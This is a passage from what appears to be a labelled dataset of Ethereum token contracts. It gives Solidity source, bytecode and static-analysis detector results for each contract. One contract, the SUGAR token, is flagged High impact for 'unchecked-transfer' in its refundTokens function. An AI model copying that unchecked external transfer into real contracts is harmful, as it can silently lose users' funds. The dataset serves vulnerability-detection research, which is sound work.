ffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117c190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061154e82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117c190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561179c57600080fd5b6117a5816119c3565b50565b60008282111515156117b657fe5b818303905092915050565b600081830190508281101515156117d457fe5b80905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561183b57600080fd5b600360149054906101000a900460ff1615151561185757600080fd5b61186c826001546117c190919063ffffffff16565b6001819055506118c3826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117c190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156119ff57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820d89d1be329508aead9e8db44e53974c94d580d51f375ad44a947f87b7de98cd50029
{"success": true, "error": null, "results": {}}
1,340
0x3672a1d8a362c9a50db70df219e05ea3cab60df9
pragma solidity ^0.4.25; /* * Creator: SUGAR (Planetagro-Exchange) */ /* * Abstract Token Smart Contract * */ /* * Safe Math Smart Contract. * https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol */ contract SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * ERC-20 standard token interface, as defined * <a href="http://github.com/ethereum/EIPs/issues/20">here</a>. */ contract Token { function totalSupply() public constant returns (uint256 supply); function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** * Abstract Token Smart Contract that could be used as a base contract for * ERC-20 token contracts. */ contract AbstractToken is Token, SafeMath { /** * Create new Abstract Token contract. */ constructor () public { // Do nothing } /** * Get number of tokens currently belonging to given owner. * * @param _owner address to get number of tokens currently belonging to the * owner of * @return number of tokens currently belonging to the owner of given address */ function balanceOf(address _owner) public constant returns (uint256 balance) { return accounts [_owner]; } /** * Transfer given number of tokens from message sender to given recipient. * * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise * accounts [_to] + _value > accounts [_to] for overflow check * which is already in safeMath */ function transfer(address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); if (accounts [msg.sender] < _value) return false; if (_value > 0 && msg.sender != _to) { accounts [msg.sender] = safeSub (accounts [msg.sender], _value); accounts [_to] = safeAdd (accounts [_to], _value); } emit Transfer (msg.sender, _to, _value); return true; } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise * accounts [_to] + _value > accounts [_to] for overflow check * which is already in safeMath */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); if (allowances [_from][msg.sender] < _value) return false; if (accounts [_from] < _value) return false; if (_value > 0 && _from != _to) { allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value); accounts [_from] = safeSub (accounts [_from], _value); accounts [_to] = safeAdd (accounts [_to], _value); } emit Transfer(_from, _to, _value); return true; } /** * Allow given spender to transfer given number of tokens from message sender. * @param _spender address to allow the owner of to transfer tokens from message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) public returns (bool success) { allowances [msg.sender][_spender] = _value; emit Approval (msg.sender, _spender, _value); return true; } /** * Tell how many tokens given spender is currently allowed to transfer from * given owner. * * @param _owner address to get number of tokens allowed to be transferred * from the owner of * @param _spender address to get number of tokens allowed to be transferred * by the owner of * @return number of tokens given spender is currently allowed to transfer * from given owner */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowances [_owner][_spender]; } /** * Mapping from addresses of token holders to the numbers of tokens belonging * to these token holders. */ mapping (address => uint256) accounts; /** * Mapping from addresses of token holders to the mapping of addresses of * spenders to the allowances set by these token holders to these spenders. */ mapping (address => mapping (address => uint256)) private allowances; } /** * Planetagro-Exchange smart contract. */ contract SUGARToken is AbstractToken { /** * Maximum allowed number of tokens in circulation. * tokenSupply = tokensIActuallyWant * (10 ^ decimals) */ uint256 constant MAX_TOKEN_COUNT = 1000000000 * (10**18); /** * Address of the owner of this smart contract. */ address private owner; /** * Frozen account list holder */ mapping (address => bool) private frozenAccount; /** * Current number of tokens in circulation. */ uint256 tokenCount = 0; /** * True if tokens transfers are currently frozen, false otherwise. */ bool frozen = false; /** * Create new token smart contract and make msg.sender the * owner of this smart contract. */ constructor () public { owner = msg.sender; } /** * Get total number of tokens in circulation. * * @return total number of tokens in circulation */ function totalSupply() public constant returns (uint256 supply) { return tokenCount; } string constant public name = "Planetagro-Exchange"; string constant public symbol = "SUGAR"; uint8 constant public decimals = 18; /** * Transfer given number of tokens from message sender to given recipient. * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise */ function transfer(address _to, uint256 _value) public returns (bool success) { require(!frozenAccount[msg.sender]); if (frozen) return false; else return AbstractToken.transfer (_to, _value); } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(!frozenAccount[_from]); if (frozen) return false; else return AbstractToken.transferFrom (_from, _to, _value); } /** * Change how many tokens given spender is allowed to transfer from message * spender. In order to prevent double spending of allowance, * To change the approve amount you first have to reduce the addresses` * allowance to zero by calling `approve(_spender, 0)` if it is not * already 0 to mitigate the race condition described here: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender address to allow the owner of to transfer tokens from * message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) public returns (bool success) { require(allowance (msg.sender, _spender) == 0 || _value == 0); return AbstractToken.approve (_spender, _value); } /** * Create _value new tokens and give new created tokens to msg.sender. * May only be called by smart contract owner. * * @param _value number of tokens to create * @return true if tokens were created successfully, false otherwise */ function createTokens(uint256 _value) public returns (bool success) { require (msg.sender == owner); if (_value > 0) { if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false; accounts [msg.sender] = safeAdd (accounts [msg.sender], _value); tokenCount = safeAdd (tokenCount, _value); // adding transfer event and _from address as null address emit Transfer(0x0, msg.sender, _value); return true; } return false; } /** * Set new owner for the smart contract. * May only be called by smart contract owner. * * @param _newOwner address of new owner of the smart contract */ function setOwner(address _newOwner) public { require (msg.sender == owner); owner = _newOwner; } /** * Freeze ALL token transfers. * May only be called by smart contract owner. */ function freezeTransfers () public { require (msg.sender == owner); if (!frozen) { frozen = true; emit Freeze (); } } /** * Unfreeze ALL token transfers. * May only be called by smart contract owner. */ function unfreezeTransfers () public { require (msg.sender == owner); if (frozen) { frozen = false; emit Unfreeze (); } } /*A user is able to unintentionally send tokens to a contract * and if the contract is not prepared to refund them they will get stuck in the contract. * The same issue used to happen for Ether too but new Solidity versions added the payable modifier to * prevent unintended Ether transfers. However, there’s no such mechanism for token transfers. * so the below function is created */ function refundTokens(address _token, address _refund, uint256 _value) public { require (msg.sender == owner); require(_token != address(this)); AbstractToken token = AbstractToken(_token); token.transfer(_refund, _value); emit RefundTokens(_token, _refund, _value); } /** * Freeze specific account * May only be called by smart contract owner. */ function freezeAccount(address _target, bool freeze) public { require (msg.sender == owner); require (msg.sender != _target); frozenAccount[_target] = freeze; emit FrozenFunds(_target, freeze); } /** * Logged when token transfers were frozen. */ event Freeze (); /** * Logged when token transfers were unfrozen. */ event Unfreeze (); /** * Logged when a particular account is frozen. */ event FrozenFunds(address target, bool frozen); /** * when accidentally send other tokens are refunded */ event RefundTokens(address _token, address _refund, uint256 _value); }
0x6080604052600436106100da5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630150246081146100df57806306fdde03146100f6578063095ea7b31461018057806313af4035146101b857806318160ddd146101d957806323b872dd14610200578063313ce5671461022a57806331c420d41461025557806370a082311461026a5780637e1f2bb81461028b57806389519c50146102a357806395d89b41146102cd578063a9059cbb146102e2578063dd62ed3e14610306578063e724529c1461032d575b600080fd5b3480156100eb57600080fd5b506100f4610353565b005b34801561010257600080fd5b5061010b6103af565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014557818101518382015260200161012d565b50505050905090810190601f1680156101725780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018c57600080fd5b506101a4600160a060020a03600435166024356103e6565b604080519115158252519081900360200190f35b3480156101c457600080fd5b506100f4600160a060020a036004351661041a565b3480156101e557600080fd5b506101ee610460565b60408051918252519081900360200190f35b34801561020c57600080fd5b506101a4600160a060020a0360043581169060243516604435610466565b34801561023657600080fd5b5061023f6104b4565b6040805160ff9092168252519081900360200190f35b34801561026157600080fd5b506100f46104b9565b34801561027657600080fd5b506101ee600160a060020a0360043516610510565b34801561029757600080fd5b506101a460043561052f565b3480156102af57600080fd5b506100f4600160a060020a03600435811690602435166044356105fb565b3480156102d957600080fd5b5061010b610714565b3480156102ee57600080fd5b506101a4600160a060020a036004351660243561074b565b34801561031257600080fd5b506101ee600160a060020a036004358116906024351661078c565b34801561033957600080fd5b506100f4600160a060020a036004351660243515156107b7565b600254600160a060020a0316331461036a57600080fd5b60055460ff1615156103ad576005805460ff191660011790556040517f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de90600090a15b565b60408051808201909152601381527f506c616e65746167726f2d45786368616e676500000000000000000000000000602082015281565b60006103f2338461078c565b15806103fc575081155b151561040757600080fd5b6104118383610848565b90505b92915050565b600254600160a060020a0316331461043157600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60045490565b600160a060020a03831660009081526003602052604081205460ff161561048c57600080fd5b60055460ff161561049f575060006104ad565b6104aa8484846108ae565b90505b9392505050565b601281565b600254600160a060020a031633146104d057600080fd5b60055460ff16156103ad576005805460ff191690556040517f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded90600090a1565b600160a060020a0381166000908152602081905260409020545b919050565b600254600090600160a060020a0316331461054957600080fd5b60008211156105f35761056a6b033b2e3c9fd0803ce8000000600454610a4d565b8211156105795750600061052a565b336000908152602081905260409020546105939083610a5f565b336000908152602081905260409020556004546105b09083610a5f565b60045560408051838152905133916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600161052a565b506000919050565b600254600090600160a060020a0316331461061557600080fd5b600160a060020a03841630141561062b57600080fd5b50604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038481166004830152602482018490529151859283169163a9059cbb9160448083019260209291908290030181600087803b15801561069857600080fd5b505af11580156106ac573d6000803e3d6000fd5b505050506040513d60208110156106c257600080fd5b505060408051600160a060020a0380871682528516602082015280820184905290517ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc1549181900360600190a150505050565b60408051808201909152600581527f5355474152000000000000000000000000000000000000000000000000000000602082015281565b3360009081526003602052604081205460ff161561076857600080fd5b60055460ff161561077b57506000610414565b6107858383610a6e565b9050610414565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b600254600160a060020a031633146107ce57600080fd5b33600160a060020a03831614156107e457600080fd5b600160a060020a038216600081815260036020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b336000818152600160209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000600160a060020a03831615156108c557600080fd5b600160a060020a03841660009081526001602090815260408083203384529091529020548211156108f8575060006104ad565b600160a060020a038416600090815260208190526040902054821115610920575060006104ad565b600082118015610942575082600160a060020a031684600160a060020a031614155b156109f857600160a060020a03841660009081526001602090815260408083203384529091529020546109759083610a4d565b600160a060020a03851660008181526001602090815260408083203384528252808320949094559181529081905220546109af9083610a4d565b600160a060020a0380861660009081526020819052604080822093909355908516815220546109de9083610a5f565b600160a060020a0384166000908152602081905260409020555b82600160a060020a031684600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35060019392505050565b600082821115610a5957fe5b50900390565b6000828201838110156104ad57fe5b6000600160a060020a0383161515610a8557600080fd5b33600090815260208190526040902054821115610aa457506000610414565b600082118015610abd575033600160a060020a03841614155b15610b225733600090815260208190526040902054610adc9083610a4d565b3360009081526020819052604080822092909255600160a060020a03851681522054610b089083610a5f565b600160a060020a0384166000908152602081905260409020555b604080518381529051600160a060020a0385169133917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a3506001929150505600a165627a7a72305820b0814d6e93a62ff0c8f0f1133dcf274b10cb3bb6717cc7e45238a9bf3866e9950029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
1,341
0x1651c2cbeaef244eb302be1d17caa87abccccddd
pragma solidity ^0.4.23; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract PausableToken is MintableToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract DetailedERC20 is PausableToken { string public name; string public symbol; uint8 public decimals; constructor(string _name, string _symbol, uint8 _decimals, uint256 INITIAL_SUPPLY) public { name = _name; symbol = _symbol; decimals = _decimals; totalSupply_ = INITIAL_SUPPLY * 10**uint(decimals); balances[owner] = totalSupply_; Transfer(address(0), owner, totalSupply_); } }
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461011757806306fdde0314610146578063095ea7b3146101d657806318160ddd1461023b57806323b872dd14610266578063313ce567146102eb5780633f4ba83a1461031c57806340c10f19146103335780635c975abb1461039857806366188463146103c757806370a082311461042c578063715018a6146104835780637d64bcb41461049a5780638456cb59146104c95780638da5cb5b146104e057806395d89b4114610537578063a9059cbb146105c7578063d73dd6231461062c578063dd62ed3e14610691578063f2fde38b14610708575b600080fd5b34801561012357600080fd5b5061012c61074b565b604051808215151515815260200191505060405180910390f35b34801561015257600080fd5b5061015b61075e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019b578082015181840152602081019050610180565b50505050905090810190601f1680156101c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e257600080fd5b50610221600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107fc565b604051808215151515815260200191505060405180910390f35b34801561024757600080fd5b5061025061082c565b6040518082815260200191505060405180910390f35b34801561027257600080fd5b506102d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610836565b604051808215151515815260200191505060405180910390f35b3480156102f757600080fd5b50610300610868565b604051808260ff1660ff16815260200191505060405180910390f35b34801561032857600080fd5b5061033161087b565b005b34801561033f57600080fd5b5061037e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061093b565b604051808215151515815260200191505060405180910390f35b3480156103a457600080fd5b506103ad610b21565b604051808215151515815260200191505060405180910390f35b3480156103d357600080fd5b50610412600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b34565b604051808215151515815260200191505060405180910390f35b34801561043857600080fd5b5061046d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b64565b6040518082815260200191505060405180910390f35b34801561048f57600080fd5b50610498610bac565b005b3480156104a657600080fd5b506104af610cb1565b604051808215151515815260200191505060405180910390f35b3480156104d557600080fd5b506104de610d79565b005b3480156104ec57600080fd5b506104f5610e3a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561054357600080fd5b5061054c610e60565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561058c578082015181840152602081019050610571565b50505050905090810190601f1680156105b95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105d357600080fd5b50610612600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610efe565b604051808215151515815260200191505060405180910390f35b34801561063857600080fd5b50610677600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f2e565b604051808215151515815260200191505060405180910390f35b34801561069d57600080fd5b506106f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f5e565b6040518082815260200191505060405180910390f35b34801561071457600080fd5b50610749600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fe5565b005b600360149054906101000a900460ff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107f45780601f106107c9576101008083540402835291602001916107f4565b820191906000526020600020905b8154815290600101906020018083116107d757829003601f168201915b505050505081565b6000600360159054906101000a900460ff1615151561081a57600080fd5b610824838361113d565b905092915050565b6000600154905090565b6000600360159054906101000a900460ff1615151561085457600080fd5b61085f84848461122f565b90509392505050565b600660009054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108d757600080fd5b600360159054906101000a900460ff1615156108f257600080fd5b6000600360156101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561099957600080fd5b600360149054906101000a900460ff161515156109b557600080fd5b6109ca826001546115e990919063ffffffff16565b600181905550610a21826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600360159054906101000a900460ff1681565b6000600360159054906101000a900460ff16151515610b5257600080fd5b610b5c8383611605565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c0857600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d0f57600080fd5b600360149054906101000a900460ff16151515610d2b57600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1